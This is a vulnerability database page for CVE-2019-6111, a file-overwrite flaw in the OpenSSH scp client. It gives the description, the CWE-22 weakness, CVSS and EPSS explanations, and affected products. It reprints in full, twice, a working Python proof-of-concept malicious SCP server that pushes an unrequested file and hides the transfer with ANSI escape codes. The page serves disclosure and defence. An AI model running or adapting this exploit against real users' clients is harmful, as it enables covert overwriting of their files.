CVE-2019-6111 : Detail

CVE-2019-6111

5.9
/
Medium
Directory Traversal
A01-Broken Access Control
0.27%V3
Network
2019-01-30
23h00 +00:00
2022-12-12
23h00 +00:00
CVE.org
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CVE Descriptions

An issue was discovered in OpenSSH 7.9. Due to the scp implementation being derived from 1983 rcp, the server chooses which files/directories are sent to the client. However, the scp client only performs cursory validation of the object name returned (only directory traversal attacks are prevented). A malicious scp server (or Man-in-The-Middle attacker) can overwrite arbitrary files in the scp client target directory. If recursive operation (-r) is performed, the server can manipulate subdirectories as well (for example, to overwrite the .ssh/authorized_keys file).

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 5.9 MEDIUM CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

High

successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

None

There is no loss of confidentiality within the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 [email protected]
V2 5.8 AV:N/AC:M/Au:N/C:N/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 46516

Publication date : 2019-01-10 23h00 +00:00
Author : Harry Sintonen
EDB Verified : No

''' Title: SSHtranger Things Author: Mark E. Haase <[email protected]> Homepage: https://www.hyperiongray.com Date: 2019-01-17 CVE: CVE-2019-6111, CVE-2019-6110 Advisory: https://sintonen.fi/advisories/scp-client-multiple-vulnerabilities.txt Tested on: Ubuntu 18.04.1 LTS, OpenSSH client 7.6p1 We have nicknamed this "SSHtranger Things" because the bug is so old it could be exploited by an 8-bit Demogorgon. Tested on Python 3.6.7 and requires `paramiko` package. The server listens on port 2222. It accepts any username and password, and it generates a new host key every time you run it. $ python3 sshtranger_things.py Download a file using a vulnerable client. The local path must be a dot: $ scp -P 2222 foo@localhost:test.txt . The authenticity of host '[localhost]:2222 ([127.0.0.1]:2222)' can't be established. RSA key fingerprint is SHA256:C7FhMqqiMpkqG9j+11S2Wv9lQYlN1jkDiipdeFMZT1w. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '[localhost]:2222' (RSA) to the list of known hosts. foo@localhost's password: test.txt 100% 32 0.7KB/s 00:00 The file you requested (e.g. test.txt) will be saved in your current directory. If your client is vulnerable, you will have an additional file "exploit.txt" created in your current directory. $ cat test.txt This is the file you requested. $ cat exploit.txt SSHtranger Things The interesting code is in ScpServer.send_file(). ''' import base64 import gzip import logging import paramiko import paramiko.rsakey import socket import threading logging.basicConfig(level=logging.INFO) dummy = 'This is the file you requested.\n' payload = gzip.decompress(base64.b64decode( b'H4sIAAa+QFwC/51VQW4CMQy85xV+AX+qqrZwoFSo0orbHvbQQw9NIiH1Af0YLyndjZ2x46' b'ygaIGs43jGTjIORJfzh3nIN/IwltH1b+LHeGdxHnXUsoCWD6yYyjt7AfA1XJdLDR8u5yRA' b'1/lEjiHbHGafXOMVpySuZaH4Jk1lgjxoocN5YMhRoNhhpA5EWMhlRHBNCWogZYhOnmk2V7' b'C4FJgwHxKSEwEzTskrQITtj1gYIurAhWUfsDbWIFyXlRwDc8okeZkCzNyjlMmcT4wxA39d' b'zp8OsJDJsGV/wV3I0JwJLNXKlOxJAs5Z7WwqmUZMPZmzqupttkhPRd4ovE8jE0gNyQ5skM' b'uVy4jk4BljnYwCQ2CUs53KtnKEYkucQJIEyoGud5wYXQUuXvimAYJMJyLlqkyQHlsK6XLz' b'I6Q6m4WKYmOzjRxEhtXWBA1qrvmBVRgGGIoT1dIRKSN+yeaJQQKuNEEadONJjkcdI2iFC4' b'Hs55bGI12K2rn1fuN1P4/DWtuwHQYdb+0Vunt5DDpS3+0MLaN7FF73II+PK9OungPEnZrc' b'dIyWSE9DHbnVVP4hnF2B79CqV8nTxoWmlomuzjl664HiLbZSdrtEOdIYVqBaTeKdWNccJS' b'J+NlZGQJZ7isJK0gs27N63dPn+oefjYU/DMGy2p7en4+7w+nJ8OG0eD/vwC6VpDqYpCwAA' )) class ScpServer(paramiko.ServerInterface): def __init__(self): self.event = threading.Event() def check_auth_password(self, username, password): logging.info('Authenticated with %s:%s', username, password) return paramiko.AUTH_SUCCESSFUL def check_channel_request(self, kind, chanid): logging.info('Opened session channel %d', chanid) if kind == "session": return paramiko.OPEN_SUCCEEDED return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED def check_channel_exec_request(self, channel, command): command = command.decode('ascii') logging.info('Approving exec request: %s', command) parts = command.split(' ') # Make sure that this is a request to get a file: assert parts[0] == 'scp' assert '-f' in parts file = parts[-1] # Send file from a new thread. threading.Thread(target=self.send_file, args=(channel, file)).start() return True def send_file(self, channel, file): ''' The meat of the exploit: 1. Send the requested file. 2. Send another file (exploit.txt) that was not requested. 3. Print ANSI escape sequences to stderr to hide the transfer of exploit.txt. ''' def wait_ok(): assert channel.recv(1024) == b'\x00' def send_ok(): channel.sendall(b'\x00') wait_ok() logging.info('Sending requested file "%s" to channel %d', file, channel.get_id()) command = 'C0664 {} {}\n'.format(len(dummy), file).encode('ascii') channel.sendall(command) wait_ok() channel.sendall(dummy) send_ok() wait_ok() # This is CVE-2019-6111: whatever file the client requested, we send # them 'exploit.txt' instead. logging.info('Sending malicious file "exploit.txt" to channel %d', channel.get_id()) command = 'C0664 {} exploit.txt\n'.format(len(payload)).encode('ascii') channel.sendall(command) wait_ok() channel.sendall(payload) send_ok() wait_ok() # This is CVE-2019-6110: the client will display the text that we send # to stderr, even if it contains ANSI escape sequences. We can send # ANSI codes that clear the current line to hide the fact that a second # file was transmitted.. logging.info('Covering our tracks by sending ANSI escape sequence') channel.sendall_stderr("\x1b[1A".encode('ascii')) channel.close() def main(): logging.info('Creating a temporary RSA host key...') host_key = paramiko.rsakey.RSAKey.generate(1024) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind(('localhost', 2222)) sock.listen(0) logging.info('Listening on port 2222...') while True: client, addr = sock.accept() logging.info('Received connection from %s:%s', *addr) transport = paramiko.Transport(client) transport.add_server_key(host_key) server = ScpServer() transport.start_server(server=server) if __name__ == '__main__': main()
Exploit Database EDB-ID : 46193

Publication date : 2019-01-17 23h00 +00:00
Author : Mark E. Haase
EDB Verified : No

# Exploit Title: SSHtranger Things # Date: 2019-01-17 # Exploit Author: Mark E. Haase <[email protected]> # Vendor Homepage: https://www.openssh.com/ # Software Link: [download link if available] # Version: OpenSSH 7.6p1 # Tested on: Ubuntu 18.04.1 LTS # CVE : CVE-2019-6111, CVE-2019-6110 ''' Title: SSHtranger Things Author: Mark E. Haase <[email protected]> Homepage: https://www.hyperiongray.com Date: 2019-01-17 CVE: CVE-2019-6111, CVE-2019-6110 Advisory: https://sintonen.fi/advisories/scp-client-multiple-vulnerabilities.txt Tested on: Ubuntu 18.04.1 LTS, OpenSSH client 7.6p1 We have nicknamed this "SSHtranger Things" because the bug is so old it could be exploited by an 8-bit Demogorgon. Tested on Python 3.6.7 and requires `paramiko` package. The server listens on port 2222. It accepts any username and password, and it generates a new host key every time you run it. $ python3 sshtranger_things.py Download a file using a vulnerable client. The local path must be a dot: $ scp -P 2222 foo@localhost:test.txt . The authenticity of host '[localhost]:2222 ([127.0.0.1]:2222)' can't be established. RSA key fingerprint is SHA256:C7FhMqqiMpkqG9j+11S2Wv9lQYlN1jkDiipdeFMZT1w. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '[localhost]:2222' (RSA) to the list of known hosts. foo@localhost's password: test.txt 100% 32 0.7KB/s 00:00 The file you requested (e.g. test.txt) will be saved in your current directory. If your client is vulnerable, you will have an additional file "exploit.txt" created in your current directory. $ cat test.txt This is the file you requested. $ cat exploit.txt SSHtranger Things The interesting code is in ScpServer.send_file(). ''' import base64 import gzip import logging import paramiko import paramiko.rsakey import socket import threading logging.basicConfig(level=logging.INFO) dummy = 'This is the file you requested.\n' payload = gzip.decompress(base64.b64decode( b'H4sIAAa+QFwC/51VQW4CMQy85xV+AX+qqrZwoFSo0orbHvbQQw9NIiH1Af0YLyndjZ2x46' b'ygaIGs43jGTjIORJfzh3nIN/IwltH1b+LHeGdxHnXUsoCWD6yYyjt7AfA1XJdLDR8u5yRA' b'1/lEjiHbHGafXOMVpySuZaH4Jk1lgjxoocN5YMhRoNhhpA5EWMhlRHBNCWogZYhOnmk2V7' b'C4FJgwHxKSEwEzTskrQITtj1gYIurAhWUfsDbWIFyXlRwDc8okeZkCzNyjlMmcT4wxA39d' b'zp8OsJDJsGV/wV3I0JwJLNXKlOxJAs5Z7WwqmUZMPZmzqupttkhPRd4ovE8jE0gNyQ5skM' b'uVy4jk4BljnYwCQ2CUs53KtnKEYkucQJIEyoGud5wYXQUuXvimAYJMJyLlqkyQHlsK6XLz' b'I6Q6m4WKYmOzjRxEhtXWBA1qrvmBVRgGGIoT1dIRKSN+yeaJQQKuNEEadONJjkcdI2iFC4' b'Hs55bGI12K2rn1fuN1P4/DWtuwHQYdb+0Vunt5DDpS3+0MLaN7FF73II+PK9OungPEnZrc' b'dIyWSE9DHbnVVP4hnF2B79CqV8nTxoWmlomuzjl664HiLbZSdrtEOdIYVqBaTeKdWNccJS' b'J+NlZGQJZ7isJK0gs27N63dPn+oefjYU/DMGy2p7en4+7w+nJ8OG0eD/vwC6VpDqYpCwAA' )) class ScpServer(paramiko.ServerInterface): def __init__(self): self.event = threading.Event() def check_auth_password(self, username, password): logging.info('Authenticated with %s:%s', username, password) return paramiko.AUTH_SUCCESSFUL def check_channel_request(self, kind, chanid): logging.info('Opened session channel %d', chanid) if kind == "session": return paramiko.OPEN_SUCCEEDED return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED def check_channel_exec_request(self, channel, command): command = command.decode('ascii') logging.info('Approving exec request: %s', command) parts = command.split(' ') # Make sure that this is a request to get a file: assert parts[0] == 'scp' assert '-f' in parts file = parts[-1] # Send file from a new thread. threading.Thread(target=self.send_file, args=(channel, file)).start() return True def send_file(self, channel, file): ''' The meat of the exploit: 1. Send the requested file. 2. Send another file (exploit.txt) that was not requested. 3. Print ANSI escape sequences to stderr to hide the transfer of exploit.txt. ''' def wait_ok(): assert channel.recv(1024) == b'\x00' def send_ok(): channel.sendall(b'\x00') wait_ok() logging.info('Sending requested file "%s" to channel %d', file, channel.get_id()) command = 'C0664 {} {}\n'.format(len(dummy), file).encode('ascii') channel.sendall(command) wait_ok() channel.sendall(dummy) send_ok() wait_ok() # This is CVE-2019-6111: whatever file the client requested, we send # them 'exploit.txt' instead. logging.info('Sending malicious file "exploit.txt" to channel %d', channel.get_id()) command = 'C0664 {} exploit.txt\n'.format(len(payload)).encode('ascii') channel.sendall(command) wait_ok() channel.sendall(payload) send_ok() wait_ok() # This is CVE-2019-6110: the client will display the text that we send # to stderr, even if it contains ANSI escape sequences. We can send # ANSI codes that clear the current line to hide the fact that a second # file was transmitted.. logging.info('Covering our tracks by sending ANSI escape sequence') channel.sendall_stderr("\x1b[1A".encode('ascii')) channel.close() def main(): logging.info('Creating a temporary RSA host key...') host_key = paramiko.rsakey.RSAKey.generate(1024) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind(('localhost', 2222)) sock.listen(0) logging.info('Listening on port 2222...') while True: client, addr = sock.accept() logging.info('Received connection from %s:%s', *addr) transport = paramiko.Transport(client) transport.add_server_key(host_key) server = ScpServer() transport.start_server(server=server) if __name__ == '__main__': main()

Products Mentioned

Configuraton 0

Openbsd>>Openssh >> Version To (including) 7.9

Winscp>>Winscp >> Version To (including) 5.1.3

Configuraton 0

Canonical>>Ubuntu_linux >> Version 14.04

Canonical>>Ubuntu_linux >> Version 16.04

Canonical>>Ubuntu_linux >> Version 18.04

Canonical>>Ubuntu_linux >> Version 18.10

Configuraton 0

Debian>>Debian_linux >> Version 8.0

Debian>>Debian_linux >> Version 9.0

Configuraton 0

Redhat>>Enterprise_linux >> Version 7.0

Redhat>>Enterprise_linux >> Version 8.0

Redhat>>Enterprise_linux_eus >> Version 8.1

Redhat>>Enterprise_linux_eus >> Version 8.2

Redhat>>Enterprise_linux_eus >> Version 8.4

Redhat>>Enterprise_linux_eus >> Version 8.6

Redhat>>Enterprise_linux_server_aus >> Version 8.2

Redhat>>Enterprise_linux_server_aus >> Version 8.4

Redhat>>Enterprise_linux_server_aus >> Version 8.6

Redhat>>Enterprise_linux_server_tus >> Version 8.2

Redhat>>Enterprise_linux_server_tus >> Version 8.4

Redhat>>Enterprise_linux_server_tus >> Version 8.6

Configuraton 0

Fedoraproject>>Fedora >> Version 30

Configuraton 0

Apache>>Mina_sshd >> Version 2.2.0

Configuraton 0

Freebsd>>Freebsd >> Version To (excluding) 12.0

Freebsd>>Freebsd >> Version 12.0

Freebsd>>Freebsd >> Version 12.0

Freebsd>>Freebsd >> Version 12.0

Freebsd>>Freebsd >> Version 12.0

Configuraton 0

Fujitsu>>M10-1_firmware >> Version To (excluding) xcp2361

Fujitsu>>M10-1 >> Version -

Configuraton 0

Fujitsu>>M10-4_firmware >> Version To (excluding) xcp2361

Fujitsu>>M10-4 >> Version -

Configuraton 0

Fujitsu>>M10-4s_firmware >> Version To (excluding) xcp2361

Fujitsu>>M10-4s >> Version -

Configuraton 0

Fujitsu>>M12-1_firmware >> Version To (excluding) xcp2361

Fujitsu>>M12-1 >> Version -

Configuraton 0

Fujitsu>>M12-2_firmware >> Version To (excluding) xcp2361

Fujitsu>>M12-2 >> Version -

Configuraton 0

Fujitsu>>M12-2s_firmware >> Version To (excluding) xcp2361

Fujitsu>>M12-2s >> Version -

Configuraton 0

Fujitsu>>M10-1_firmware >> Version To (excluding) xcp3070

Fujitsu>>M10-1 >> Version -

Configuraton 0

Fujitsu>>M10-4_firmware >> Version To (excluding) xcp3070

Fujitsu>>M10-4 >> Version -

Configuraton 0

Fujitsu>>M10-4s_firmware >> Version To (excluding) xcp3070

Fujitsu>>M10-4s >> Version -

Configuraton 0

Fujitsu>>M12-1_firmware >> Version To (excluding) xcp3070

Fujitsu>>M12-1 >> Version -

Configuraton 0

Fujitsu>>M12-2_firmware >> Version To (excluding) xcp3070

Fujitsu>>M12-2 >> Version -

Configuraton 0

Fujitsu>>M12-2s_firmware >> Version To (excluding) xcp3070

Fujitsu>>M12-2s >> Version -

Configuraton 0

Siemens>>Scalance_x204rna_firmware >> Version To (excluding) 3.2.7

Siemens>>Scalance_x204rna >> Version -

Configuraton 0

Siemens>>Scalance_x204rna_eec_firmware >> Version To (excluding) 3.2.7

Siemens>>Scalance_x204rna_eec >> Version -

References

https://usn.ubuntu.com/3885-1/
Tags : vendor-advisory
https://usn.ubuntu.com/3885-2/
Tags : vendor-advisory
https://bugzilla.redhat.com/show_bug.cgi?id=1677794
Tags : Exploit, Issue Tracking, Third Party Advisory